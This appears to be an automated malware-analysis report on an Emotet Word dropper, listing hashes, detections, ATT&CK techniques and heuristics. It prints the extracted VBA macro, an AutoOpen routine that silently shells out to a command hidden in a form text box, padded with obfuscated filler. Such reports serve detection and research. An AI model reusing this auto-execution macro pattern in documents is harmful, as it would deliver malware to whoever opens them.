Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 1b5942d6f32dc2ed…

MALICIOUS

Office (OLE)

115.0 KB Created: 2018-12-18 13:15:00 Authoring application: Microsoft Office Word First seen: 2019-03-10
MD5: 37fcef0ddcbed641df9a96668f864784 SHA-1: c0d38337932243843c46d2a58ccb6aa2c2af94e4 SHA-256: 1b5942d6f32dc2ed91c4de5a324c9f88908be16d66e25c8d6f06b49261b9942c
250 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is identified as malicious by ClamAV with the signature Doc.Dropper.Emotet-6788101-0. High-severity heuristics indicate the presence of VBA macros, specifically an AutoOpen macro that uses the Shell() function to invoke cmd.exe. The VBA script contains obfuscated code that likely attempts to download and execute a second-stage payload, a common Emotet behavior.

Heuristics 8

  • ClamAV: Doc.Dropper.Emotet-6788101-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Emotet-6788101-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    On Error Resume Next
pCifP = Array(VRwdKsZ, RVuiN, NNpYnjD, Interaction.Shell(CleanString(UQjDXwiVuthV.TextBox1), 60 - 60), jqphd)
   Select Case panqOTGbszzPMGrW
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
jBNjW
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 853 bytes
SHA-256: 15dc476e4f57a79b2db9e3d418ead75140cf82c97e6ea217c9c967fe44f06c27
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "UQjDXwiVuthV"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
jBNjW
End Sub

Attribute VB_Name = "iBGtcSbMChvhow"
Function jBNjW()
On Error Resume Next
pCifP = Array(VRwdKsZ, RVuiN, NNpYnjD, Interaction.Shell(CleanString(UQjDXwiVuthV.TextBox1), 60 - 60), jqphd)
   Select Case panqOTGbszzPMGrW
            Case 41887094
            DoCwPcjfTFrwqww = 286648471
            DbwDQwwKsPzjnMiiaNwLtKLK = Oct(AAktIzQVIovIBmqDlXNjw + CStr(tNUPkAfFsPoUQzOQjPhO + Log(207825255) - iWZaHHHnzbmVHXZsOPp / Hex(18806950)))
      End Select
End Function

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